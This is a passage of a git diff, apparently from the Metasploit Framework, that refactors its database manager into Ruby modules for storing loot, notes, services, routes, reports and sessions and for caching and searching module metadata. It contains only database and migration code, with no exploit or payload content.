ips and ranges, and subjects + # them to RangeWalker for validation. Returns true or false. + def validate_ips(ips) + ret = true + begin + ips.split(/\s+/).each {|ip| + unless Rex::Socket::RangeWalker.new(ip).ranges + ret = false + break + end + } + rescue + ret = false + end + return ret + end +end diff --git a/lib/msf/core/db_manager/loot.rb b/lib/msf/core/db_manager/loot.rb new file mode 100644 index 0000000000..dda65162b6 --- /dev/null +++ b/lib/msf/core/db_manager/loot.rb @@ -0,0 +1,81 @@ +module Msf::DBManager::Loot + # + # Loot collection + # + # + # This method iterates the loot table calling the supplied block with the + # instance of each entry. + # + def each_loot(wspace=workspace, &block) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.loots.each do |note| + block.call(note) + end + } + end + + # + # Find or create a loot matching this type/data + # + def find_or_create_loot(opts) + report_loot(opts) + end + + # + # This methods returns a list of all loot in the database + # + def loots(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.loots + } + end + + def report_loot(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + path = opts.delete(:path) || (raise RuntimeError, "A loot :path is required") + + host = nil + addr = nil + + # Report the host so it's there for the Proc to use below + if opts[:host] + if opts[:host].kind_of? ::Mdm::Host + host = opts[:host] + else + host = report_host({:workspace => wspace, :host => opts[:host]}) + addr = normalize_host(opts[:host]) + end + end + + ret = {} + + ltype = opts.delete(:type) || opts.delete(:ltype) || (raise RuntimeError, "A loot :type or :ltype is required") + ctype = opts.delete(:ctype) || opts.delete(:content_type) || 'text/plain' + name = opts.delete(:name) + info = opts.delete(:info) + data = opts[:data] + loot = wspace.loots.new + + if host + loot.host_id = host[:id] + end + if opts[:service] and opts[:service].kind_of? ::Mdm::Service + loot.service_id = opts[:service][:id] + end + + loot.path = path + loot.ltype = ltype + loot.content_type = ctype + loot.data = data + loot.name = name if name + loot.info = info if info + loot.workspace = wspace + msf_import_timestamps(opts,loot) + loot.save! + + ret[:loot] = loot + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/migration.rb b/lib/msf/core/db_manager/migration.rb index 6d8974b1ac..5d98eb960e 100644 --- a/lib/msf/core/db_manager/migration.rb +++ b/lib/msf/core/db_manager/migration.rb @@ -1,58 +1,81 @@ -module Msf - class DBManager - module Migration - # Migrate database to latest schema version. - # - # @param verbose [Boolean] see ActiveRecord::Migration.verbose - # @return [Array<ActiveRecord::MigrationProxy] List of migrations that - # ran. - # - # @see ActiveRecord::Migrator.migrate - def migrate(verbose=false) - ran = [] - ActiveRecord::Migration.verbose = verbose +# -*- coding: binary -*- +module Msf::DBManager::Migration + # Loads Metasploit Data Models and adds its migrations to migrations paths. + # + # @return [void] + def add_rails_engine_migration_paths + unless defined? ActiveRecord + fail "Bundle installed '--without #{Bundler.settings.without.join(' ')}'. To clear the without option do " \ + "`bundle install --without ''` (the --without flag with an empty string) or `rm -rf .bundle` to remove " \ + "the .bundle/config manually and then `bundle install`" + end - ActiveRecord::Base.connection_pool.with_connection do - begin - ran = ActiveRecord::Migrator.migrate( - ActiveRecord::Migrator.migrations_paths - ) - # ActiveRecord::Migrator#migrate rescues all errors and re-raises them - # as StandardError - rescue StandardError => error - self.error = error - elog("DB.migrate threw an exception: #{error}") - dlog("Call stack:\n#{error.backtrace.join "\n"}") - end - end + Rails.application.railties.engines.each do |engine| + migrations_paths = engine.paths['db/migrate'].existent_directories - # Since the connections that existed before the migrations ran could - # have outdated column information, reset column information for all - # ActiveRecord::Base descendents to prevent missing method errors for - # column methods for columns created in migrations after the column - # information was cached. - reset_column_information - - return ran - end - - # Flag to indicate database migration has completed - # - # @return [Boolean] - attr_accessor :migrated - - private - - # Resets the column information for all descendants of ActiveRecord::Base - # since some of the migrations may have cached column information that - # has been updated by later migrations. - # - # @return [void] - def reset_column_information - ActiveRecord::Base.descendants.each do |descendant| - descendant.reset_column_information + migrations_paths.each do |migrations_path| + # Since ActiveRecord::Migrator.migrations_paths can persist between + # instances of Msf::DBManager, such as in specs, + # migrations_path may already be part of + # migrations_paths, in which case it should not be added or multiple + # migrations with the same version number errors will occur. + unless ActiveRecord::Migrator.migrations_paths.include? migrations_path + ActiveRecord::Migrator.migrations_paths << migrations_path end end end end -end \ No newline at end of file + + # Migrate database to latest schema version. + # + # @param verbose [Boolean] see ActiveRecord::Migration.verbose + # @return [Array<ActiveRecord::MigrationProxy] List of migrations that + # ran. + # + # @see ActiveRecord::Migrator.migrate + def migrate(verbose=false) + ran = [] + ActiveRecord::Migration.verbose = verbose + + ActiveRecord::Base.connection_pool.with_connection do + begin + ran = ActiveRecord::Migrator.migrate( + ActiveRecord::Migrator.migrations_paths + ) + # ActiveRecord::Migrator#migrate rescues all errors and re-raises them + # as StandardError + rescue StandardError => error + self.error = error + elog("DB.migrate threw an exception: #{error}") + dlog("Call stack:\n#{error.backtrace.join "\n"}") + end + end + + # Since the connections that existed before the migrations ran could + # have outdated column information, reset column information for all + # ActiveRecord::Base descendents to prevent missing method errors for + # column methods for columns created in migrations after the column + # information was cached. + reset_column_information + + return ran + end + + # Flag to indicate database migration has completed + # + # @return [Boolean] + attr_accessor :migrated + + private + + # Resets the column information for all descendants of ActiveRecord::Base + # since some of the migrations may have cached column information that + # has been updated by later migrations. + # + # @return [void] + def reset_column_information + ActiveRecord::Base.descendants.each do |descendant| + descendant.reset_column_information + end + end +end diff --git a/lib/msf/core/db_manager/module_cache.rb b/lib/msf/core/db_manager/module_cache.rb new file mode 100644 index 0000000000..5e23cb6d2c --- /dev/null +++ b/lib/msf/core/db_manager/module_cache.rb @@ -0,0 +1,416 @@ +# +# Standard library +# + +require 'shellwords' + +module Msf::DBManager::ModuleCache + # + # Attributes + # + + # Flag to indicate that modules are cached + attr_accessor :modules_cached + + # Flag to indicate that the module cacher is running + attr_accessor :modules_caching + + # + # Instance Methods + # + + # Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or + # +'ILIKE'+ + # + # @param values [Set<String>, #each] a list of strings. + # @return [Arrray<String>] strings wrapped like %<string>% + def match_values(values) + wrapped_values = values.collect { |value| + "%#{value}%" + } + + wrapped_values + end + + def module_to_details_hash(m) + res = {} + bits = [] + + res[:mtime] = ::File.mtime(m.file_path) rescue Time.now + res[:file] = m.file_path + res[:mtype] = m.type + res[:name] = m.name.to_s + res[:refname] = m.refname + res[:fullname] = m.fullname + res[:rank] = m.rank.to_i + res[:license] = m.license.to_s + + res[:description] = m.description.to_s.strip + + m.arch.map{ |x| + bits << [ :arch, { :name => x.to_s } ] + } + + m.platform.platforms.map{ |x| + bits << [ :platform, { :name => x.to_s.split('::').last.downcase } ] + } + + m.author.map{|x| + bits << [ :author, { :name => x.to_s } ] + } + + m.references.map do |r| + bits << [ :ref, { :name => [r.ctx_id.to_s, r.ctx_val.to_s].join("-") } ] + end + + res[:privileged] = m.privileged? + + + if m.disclosure_date + begin + res[:disclosure_date] = m.disclosure_date.to_datetime.to_time + rescue ::Exception + res.delete(:disclosure_date) + end + end + + if(m.type == "exploit") + + m.targets.each_index do |i| + bits << [ :target, { :index => i, :name => m.targets[i].name.to_s } ] + if m.targets[i].platform + m.targets[i].platform.platforms.each do |name| + bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ] + end + end + if m.targets[i].arch + bits << [ :arch, { :name => m.targets[i].arch.to_s } ] + end + end + + if (m.default_target) + res[:default_target] = m.default_target + end + + # Some modules are a combination, which means they are actually aggressive + res[:stance] = m.stance.to_s.index("aggressive") ? "aggressive" : "passive" + + + m.class.mixins.each do |x| + bits << [ :mixin, { :name => x.to_s } ] + end + end + + if(m.type == "auxiliary") + + m.actions.each_index do |i| + bits << [ :action, { :name => m.actions[i].name.to_s } ] + end + + if (m.default_action) + res[:default_action] = m.default_action.to_s + end + + res[:stance] = m.passive? ? "passive" : "aggressive" + end + + res[:bits] = bits.uniq + + res + end + + # @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is + # +false+. + # + # Destroys all Mdm::Module::Details in the database. + # + # @return [void] + def purge_all_module_details + return if not self.migrated + return if self.modules_caching + + ::ActiveRecord::Base.connection_pool.with_connection do + Mdm::Module::Detail.destroy_all + end + end + + # Destroys Mdm::Module::Detail if one exists for the given + # Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname. + # + # @param mtype [String] module type. + # @param refname [String] module reference name. + # @return [void] + def remove_module_details(mtype, refname) + return if not self.migrated + + ActiveRecord::Base.connection_pool.with_connection do + Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all + end + end + + # This provides a standard set of search filters for every module. + # + # Supported keywords with the format <keyword>:<search_value>: + # +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules. + # +author+:: Matches modules with the given author email or name. + # +bid+:: Matches modules with the given Bugtraq ID. + # +cve+:: Matches modules with the given CVE ID. + # +edb+:: Matches modules with the given Exploit-DB ID. + # +name+:: Matches modules with the given full name or name. + # +os+, +platform+:: Matches modules with the given platform or target name. + # +osvdb+:: Matches modules with the given OSVDB ID. + # +ref+:: Matches modules with the given reference ID. + # +type+:: Matches modules with the given type. + # + # Any text not associated with a keyword is matched against the description, + # the full name, and the name of the module; the name of the module actions; + # the name of the module archs; the name of the module authors; the name of + # module platform; the module refs; or the module target. + # + # @param search_string [String] a string of space separated keyword pairs or + # free form text. + # @return [[]] if search_string is +nil+ + # @return [ActiveRecord::Relation] module details that matched + # +search_string+ + def search_modules(search_string) + search_string ||= '' + search_string += " " + + # Split search terms by space, but allow quoted strings + terms = Shellwords.shellwords(search_string) + terms.delete('') + + # All terms are either included or excluded + value_set_by_keyword = Hash.new { |hash, keyword| + hash[keyword] = Set.new + } + + terms.each do |term| + keyword, value = term.split(':', 2) + + unless value + value = keyword + keyword = 'text' + end + + unless value.empty? + keyword.downcase! + + value_set = value_set_by_keyword[keyword] + value_set.add value + end + end + + query = Mdm::Module::Detail.scoped + + ActiveRecord::Base.connection_pool.with_connection do + # Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports + # intersection, so creating the where clause has to be delayed until all conditions can be or'd together and + # passed to one call ot where. + union_conditions = [] + + value_set_by_keyword.each do |keyword, value_set| + case keyword + when 'author' + formatted_values = match_values(value_set) + + query = query.includes(:authors) + module_authors = Mdm::Module::Author.arel_table + union_conditions << module_authors[:email].matches_any(formatted_values) + union_conditions << module_authors[:name].matches_any(formatted_values) + when 'name' + formatted_values = match_values(value_set) + + module_details = Mdm::Module::Detail.arel_table + union_conditions << module_details[:fullname].matches_any(formatted_values) + union_conditions << module_details[:name].matches_any(formatted_values) + when 'os', 'platform' + formatted_values = match_values(value_set) + + query = query.includes(:platforms) + union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:targets) + union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) + when 'text' + formatted_values = match_values(value_set) + + module_details = Mdm::Module::Detail.arel_table + union_conditions << module_details[:description].matches_any(formatted_values) + union_conditions << module_details[:fullname].matches_any(formatted_values) + union_conditions << module_details[:name].matches_any(formatted_values) + + query = query.includes(:actions) + union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:archs) + union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:authors) + union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:platforms) + union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:refs) + union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:targets) + union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) + when 'type' + formatted_values = match_values(value_set) + union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values) + when 'app' + formatted_values = value_set.collect { |value| + formatted_value = 'aggressive' + + if value == 'client' + formatted_value = 'passive' + end + + formatted_value + } + + union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values) + when 'ref' + formatted_values = match_values(value_set) + + query = query.includes(:refs) + union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) + when 'cve', 'bid', 'osvdb', 'edb' + formatted_values = value_set.collect { |value| + prefix = keyword.upcase + + "#{prefix}-%#{value}%" + } + + query = query.includes(:refs) + union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) + end + end + + unioned_conditions = union_conditions.inject { |union, condition| + union.or(condition) + } + + query = query.where(unioned_conditions).to_a.uniq { |m| m.fullname } + end + + query + end + + # Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for + # any module with an Mdm::Module::Detail where the modification time of the + # Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the + # Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail + # is just destroyed without a new one being created. + # + # @return [void] + def update_all_module_details + return if not self.migrated + return if self.modules_caching + + self.framework.cache_thread = Thread.current + + self.modules_cached = false + self.modules_caching = true + + ActiveRecord::Base.connection_pool.with_connection do + + refresh = [] + skip_reference_name_set_by_module_type = Hash.new { |hash, module_type| + hash[module_type] = Set.new + } + + Mdm::Module::Detail.find_each do |md| + + unless md.ready + refresh << md + next + end + + unless md.file and ::File.exists?(md.file) + refresh << md + next + end + + if ::File.mtime(md.file).to_i != md.mtime.to_i + refresh << md + next + end + + skip_reference_name_set = skip_reference_name_set_by_module_type[md.mtype] + skip_reference_name_set.add(md.refname) + end + + refresh.each { |md| md.destroy } + + [ + ['exploit', framework.exploits], + ['auxiliary', framework.auxiliary], + ['post', framework.post], + ['payload', framework.payloads], + ['encoder', framework.encoders], + ['nop', framework.nops] + ].each do |mt| + skip_reference_name_set = skip_reference_name_set_by_module_type[mt[0]] + + mt[1].keys.sort.each do |mn| + next if skip_reference_name_set.include? mn + obj = mt[1].create(mn) + next if not obj + begin + update_module_details(obj) + rescue ::Exception + elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}") + end + end + end + + self.framework.cache_initialized = true + end + + # in reverse order of section before with_connection block + self.modules_caching = false + self.modules_cached = true + self.framework.cache_thread = nil + end + + # Creates an Mdm::Module::Detail from a module instance. + # + # @param module_instance [Msf::Module] a metasploit module instance. + # @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for + # Mdm::Module::Detail. + # @return [void] + def update_module_details(module_instance) + return if not self.migrated + + ActiveRecord::Base.connection_pool.with_connection do + info = module_to_details_hash(module_instance) + bits = info.delete(:bits) || [] + module_detail = Mdm::Module::Detail.create!(info) + + bits.each do |args| + otype, vals = args + + case otype + when :action + module_detail.add_action(vals[:name]) + when :arch + module_detail.add_arch(vals[:name]) + when :author + module_detail.add_author(vals[:name], vals[:email]) + when :platform + module_detail.add_platform(vals[:name]) + when :ref + module_detail.add_ref(vals[:name]) + when :target + module_detail.add_target(vals[:index], vals[:name]) + end + end + + module_detail.ready = true + module_detail.save! + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/note.rb b/lib/msf/core/db_manager/note.rb new file mode 100644 index 0000000000..478dcc38c4 --- /dev/null +++ b/lib/msf/core/db_manager/note.rb @@ -0,0 +1,170 @@ +module Msf::DBManager::Note + # + # This method iterates the notes table calling the supplied block with the + # note instance of each entry. + # + def each_note(wspace=workspace, &block) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.notes.each do |note| + block.call(note) + end + } + end + + # + # Find or create a note matching this type/data + # + def find_or_create_note(opts) + report_note(opts) + end + + # + # This methods returns a list of all notes in the database + # + def notes(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.notes + } + end + + # + # Report a Note to the database. Notes can be tied to a ::Mdm::Workspace, Host, or Service. + # + # opts MUST contain + # +:type+:: The type of note, e.g. smb_peer_os + # + # opts can contain + # +:workspace+:: the workspace to associate with this Note + # +:host+:: an IP address or a Host object to associate with this Note + # +:service+:: a Service object to associate with this Note + # +:data+:: whatever it is you're making a note of + # +:port+:: along with +:host+ and +:proto+, a service to associate with this Note + # +:proto+:: along with +:host+ and +:port+, a service to associate with this Note + # +:update+:: what to do in case a similar Note exists, see below + # + # The +:update+ option can have the following values: + # +:unique+:: allow only a single Note per +:host+/+:type+ pair + # +:unique_data+:: like +:uniqe+, but also compare +:data+ + # +:insert+:: always insert a new Note even if one with identical values exists + # + # If the provided +:host+ is an IP address and does not exist in the + # database, it will be created. If +:workspace+, +:host+ and +:service+ + # are all omitted, the new Note will be associated with the current + # workspace. + # + def report_note(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + if wspace.kind_of? String + wspace = find_workspace(wspace) + end + seen = opts.delete(:seen) || false + crit = opts.delete(:critical) || false + host = nil + addr = nil + # Report the host so it's there for the Proc to use below + if opts[:host] + if opts[:host].kind_of? ::Mdm::Host + host = opts[:host] + else + addr = normalize_host(opts[:host]) + host = report_host({:workspace => wspace, :host => addr}) + end + # Do the same for a service if that's also included. + if (opts[:port]) + proto = nil + sname = nil + proto_lower = opts[:proto].to_s.downcase # Catch incorrect usages + case proto_lower + when 'tcp','udp' + proto = proto_lower + sname = opts[:sname] if opts[:sname] + when 'dns','snmp','dhcp' + proto = 'udp' + sname = opts[:proto] + else + proto = 'tcp' + sname = opts[:proto] + end + sopts = { + :workspace => wspace, + :host => host, + :port => opts[:port], + :proto => proto + } + sopts[:name] = sname if sname + report_service(sopts) + end + end + # Update Modes can be :unique, :unique_data, :insert + mode = opts[:update] || :unique + + ret = {} + + if addr and not host + host = get_host(:workspace => wspace, :host => addr) + end + if host and (opts[:port] and opts[:proto]) + service = get_service(wspace, host, opts[:proto], opts[:port]) + elsif opts[:service] and opts[:service].kind_of? ::Mdm::Service + service = opts[:service] + end +=begin + if host + host.updated_at = host.created_at + host.state = HostState::Alive + host.save! + end +=end + ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required") + data = opts[:data] + note = nil + + conditions = { :ntype => ntype } + conditions[:host_id] = host[:id] if host + conditions[:service_id] = service[:id] if service + + case mode + when :unique + note = wspace.notes.where(conditions).first_or_initialize + note.data = data + when :unique_data + notes = wspace.notes.where(conditions) + + # Don't make a new Note with the same data as one that already + # exists for the given: type and (host or service) + notes.each do |n| + # Compare the deserialized data from the table to the raw + # data we're looking for. Because of the serialization we + # can't do this easily or reliably in SQL. + if n.data == data + note = n + break + end + end + if not note + # We didn't find one with the data we're looking for, make + # a new one. + note = wspace.notes.new(conditions.merge(:data => data)) + end + else + # Otherwise, assume :insert, which means always make a new one + note = wspace.notes.new + if host + note.host_id = host[:id] + end + if opts[:service] and opts[:service].kind_of? ::Mdm::Service + note.service_id = opts[:service][:id] + end + note.seen = seen + note.critical = crit + note.ntype = ntype + note.data = data + end + msf_import_timestamps(opts,note) + note.save! + ret[:note] = note + } + end +end diff --git a/lib/msf/core/db_manager/ref.rb b/lib/msf/core/db_manager/ref.rb new file mode 100644 index 0000000000..ff6087d086 --- /dev/null +++ b/lib/msf/core/db_manager/ref.rb @@ -0,0 +1,33 @@ +module Msf::DBManager::Ref + # + # Find or create a reference matching this name + # + def find_or_create_ref(opts) + ret = {} + ret[:ref] = get_ref(opts[:name]) + return ret[:ref] if ret[:ref] + + ::ActiveRecord::Base.connection_pool.with_connection { + ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize + if ref and ref.changed? + ref.save! + end + ret[:ref] = ref + } + end + + def get_ref(name) + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::Ref.find_by_name(name) + } + end + + # + # Find a reference matching this name + # + def has_ref?(name) + ::ActiveRecord::Base.connection_pool.with_connection { + Mdm::Ref.find_by_name(name) + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/report.rb b/lib/msf/core/db_manager/report.rb new file mode 100644 index 0000000000..e602e6a21e --- /dev/null +++ b/lib/msf/core/db_manager/report.rb @@ -0,0 +1,86 @@ +# +# Standard library +# + +require 'fileutils' + +module Msf::DBManager::Report + # TODO This method does not attempt to find. It just creates + # a report based on the passed params. + def find_or_create_report(opts) + report_report(opts) + end + + # Creates a ReportArtifact based on passed parameters. + # @param opts [Hash] of ReportArtifact attributes + def report_artifact(opts) + return if not active + + artifacts_dir = Report::ARTIFACT_DIR + tmp_path = opts[:file_path] + artifact_name = File.basename tmp_path + new_path = File.join(artifacts_dir, artifact_name) + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) + + unless File.exists? tmp_path + raise Msf::DBImportError 'Report artifact file to be imported does not exist.' + end + + unless (File.directory?(artifacts_dir) && File.writable?(artifacts_dir)) + raise Msf::DBImportError "Could not move report artifact file to #{artifacts_dir}." + end + + if File.exists? new_path + unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}" + new_path = File.join(artifacts_dir, unique_basename) + end + + FileUtils.copy(tmp_path, new_path) + opts[:file_path] = new_path + artifact = ReportArtifact.new(opts) + artifact.created_at = created + artifact.updated_at = updated + + unless artifact.valid? + errors = artifact.errors.full_messages.join('; ') + raise RuntimeError "Artifact to be imported is not valid: #{errors}" + end + artifact.save + end + + # Creates a Report based on passed parameters. Does not handle + # child artifacts. + # @param opts [Hash] + # @return [Integer] ID of created report + def report_report(opts) + return if not active + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) + state = opts.delete(:state) + + ::ActiveRecord::Base.connection_pool.with_connection { + report = Report.new(opts) + report.created_at = created + report.updated_at = updated + + unless report.valid? + errors = report.errors.full_messages.join('; ') + raise RuntimeError "Report to be imported is not valid: #{errors}" + end + report.state = :complete # Presume complete since it was exported + report.save + + report.id + } + end + + # + # This methods returns a list of all reports in the database + # + def reports(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.reports + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/route.rb b/lib/msf/core/db_manager/route.rb new file mode 100644 index 0000000000..3568ce12f8 --- /dev/null +++ b/lib/msf/core/db_manager/route.rb @@ -0,0 +1,38 @@ +module Msf::DBManager::Route + def report_session_route(session, route) + return if not active + if session.respond_to? :db_record + s = session.db_record + else + s = session + end + unless s.respond_to?(:routes) + raise ArgumentError.new("Invalid :session, expected Session object got #{session.class}") + end + + ::ActiveRecord::Base.connection_pool.with_connection { + + subnet, netmask = route.split("/") + s.routes.create(:subnet => subnet, :netmask => netmask) + } + end + + def report_session_route_remove(session, route) + return if not active + if session.respond_to? :db_record + s = session.db_record + else + s = session + end + unless s.respond_to?(:routes) + raise ArgumentError.new("Invalid :session, expected Session object got #{session.class}") + end + + ::ActiveRecord::Base.connection_pool.with_connection { + subnet, netmask = route.split("/") + r = s.routes.find_by_subnet_and_netmask(subnet, netmask) + r.destroy if r + } + end + +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb new file mode 100644 index 0000000000..954957a55e --- /dev/null +++ b/lib/msf/core/db_manager/service.rb @@ -0,0 +1,129 @@ +module Msf::DBManager::Service + # Deletes a port and associated vulns matching this port + def del_service(wspace, address, proto, port, comm='') + + host = get_host(:workspace => wspace, :address => address) + return unless host + + ::ActiveRecord::Base.connection_pool.with_connection { + host.services.where({:proto => proto, :port => port}).each { |s| s.destroy } + } + end + + # Iterates over the services table calling the supplied block with the + # service instance of each entry. + def each_service(wspace=workspace, &block) + ::ActiveRecord::Base.connection_pool.with_connection { + services(wspace).each do |service| + block.call(service) + end + } + end + + def find_or_create_service(opts) + report_service(opts) + end + + def get_service(wspace, host, proto, port) + ::ActiveRecord::Base.connection_pool.with_connection { + host = get_host(:workspace => wspace, :address => host) + return if not host + return host.services.find_by_proto_and_port(proto, port) + } + end + + # + # Record a service in the database. + # + # opts MUST contain + # +:host+:: the host where this service is running + # +:port+:: the port where this service listens + # +:proto+:: the transport layer protocol (e.g. tcp, udp) + # + # opts may contain + # +:name+:: the application layer protocol (e.g. ssh, mssql, smb) + # +:sname+:: an alias for the above + # + def report_service(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { |conn| + addr = opts.delete(:host) || return + hname = opts.delete(:host_name) + hmac = opts.delete(:mac) + host = nil + wspace = opts.delete(:workspace) || workspace + hopts = {:workspace => wspace, :host => addr} + hopts[:name] = hname if hname + hopts[:mac] = hmac if hmac + + # Other report_* methods take :sname to mean the service name, so we + # map it here to ensure it ends up in the right place despite not being + # a real column. + if opts[:sname] + opts[:name] = opts.delete(:sname) + end + + if addr.kind_of? ::Mdm::Host + host = addr + addr = host.address + else + host = report_host(hopts) + end + + if opts[:port].to_i.zero? + dlog("Skipping port zero for service '%s' on host '%s'" % [opts[:name],host.address]) + return nil + end + + ret = {} +=begin + host = get_host(:workspace => wspace, :address => addr) + if host + host.updated_at = host.created_at + host.state = HostState::Alive + host.save! + end +=end + + proto = opts[:proto] || 'tcp' + + service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize + opts.each { |k,v| + if (service.attribute_names.include?(k.to_s)) + service[k] = ((v and k == :name) ? v.to_s.downcase : v) + else + dlog("Unknown attribute for Service: #{k}") + end + } + service.state ||= Msf::ServiceState::Open + service.info ||= "" + + if (service and service.changed?) + msf_import_timestamps(opts,service) + service.save! + end + + if opts[:task] + Mdm::TaskService.create( + :task => opts[:task], + :service => service + ) + end + + ret[:service] = service + } + end + + # Returns a list of all services in the database + def services(wspace = workspace, only_up = false, proto = nil, addresses = nil, ports = nil, names = nil) + ::ActiveRecord::Base.connection_pool.with_connection { + conditions = {} + conditions[:state] = [Msf::ServiceState::Open] if only_up + conditions[:proto] = proto if proto + conditions["hosts.address"] = addresses if addresses + conditions[:port] = ports if ports + conditions[:name] = names if names + wspace.services.includes(:host).where(conditions).order("hosts.address, port") + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb new file mode 100644 index 0000000000..56b4a0a436 --- /dev/null +++ b/lib/msf/core/db_manager/session.rb @@ -0,0 +1,205 @@ +module Msf::DBManager::Session + # Returns a session based on opened_time, host address, and workspace + # (or returns nil) + def get_session(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts[:workspace] || opts[:wspace] || workspace + addr = opts[:addr] || opts[:address] || opts[:host] || return + host = get_host(:workspace => wspace, :host => addr) + time = opts[:opened_at] || opts[:created_at] || opts[:time] || return + ::Mdm::Session.find_by_host_id_and_opened_at(host.id, time) + } + end + + # @note The Mdm::Session#desc will be truncated to 255 characters. + # @todo https://www.pivotaltracker.com/story/show/48249739 + # + # @overload report_session(opts) + # Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the + # +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the + # session's host. The Mdm::Host for the +session_host+ is created using + # The session.session_host, +session.arch+ (if +session+ responds to arch), + # and the workspace derived from opts or the +session+. The Mdm::Session is + # assumed to be +last_seen+ and +opened_at+ at the time report_session is + # called. +session.exploit_datastore['ParentModule']+ is used for the + # Mdm::Session#via_exploit if +session.via_exploit+ is + # 'exploit/multi/handler'. + # + # @param opts [Hash{Symbol => Object}] options + # @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session + # The in-memory session to persist to the database. + # @option opts [Mdm::Workspace] :workspace The workspace for in which the + # :session host is contained. Also used as the workspace for the + # Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with + # Mdm::Workspace#name equal to +session.workspace+. + # @return [nil] if {Msf::DBManager#active} is +false+. + # @return [Mdm::Session] if session is saved + # @raise [ArgumentError] if :session is not an {Msf::Session}. + # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be + # saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be + # created, but the Mdm::Host will have been. (There is no transaction + # to rollback the Mdm::Host creation.) + # @see #find_or_create_host + # @see #normalize_host + # @see #report_exploit_success + # @see #report_vuln + # + # @overload report_session(opts) + # Creates an Mdm::Session from Mdm::Host. + # + # @param opts [Hash{Symbol => Object}] options + # @option opts [DateTime, Time] :closed_at The date and time the sesion was + # closed. + # @option opts [String] :close_reason Reason the session was closed. + # @option opts [Hash] :datastore {Msf::DataStore#to_h}. + # @option opts [String] :desc Session description. Will be truncated to 255 + # characters. + # @option opts [Mdm::Host] :host The host on which the session was opened. + # @option opts [DateTime, Time] :last_seen The last date and time the + # session was seen to be open. Defaults to :closed_at's value. + # @option opts [DateTime, Time] :opened_at The date and time that the + # session was opened. + # @option opts [String] :platform The platform of the host. + # @option opts [Array] :routes ([]) The routes through the session for + # pivoting. + # @option opts [String] :stype Session type. + # @option opts [String] :via_exploit The {Msf::Module#fullname} of the + # exploit that was used to open the session. + # @option option [String] :via_payload the {MSf::Module#fullname} of the + # payload sent to the host when the exploit was successful. + # @return [nil] if {Msf::DBManager#active} is +false+. + # @return [Mdm::Session] if session is saved. + # @raise [ArgumentError] if :host is not an Mdm::Host. + # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be + # saved. + # + # @raise ArgumentError if :host and :session is +nil+ + def report_session(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + if opts[:session] + raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session + session = opts[:session] + wspace = opts[:workspace] || find_workspace(session.workspace) + h_opts = { } + h_opts[:host] = normalize_host(session) + h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch + h_opts[:workspace] = wspace + host = find_or_create_host(h_opts) + sess_data = { + :host_id => host.id, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :routes => [], + :datastore => session.exploit_datastore.to_h, + :port => session.session_port, + :opened_at => Time.now.utc, + :last_seen => Time.now.utc, + :local_id => 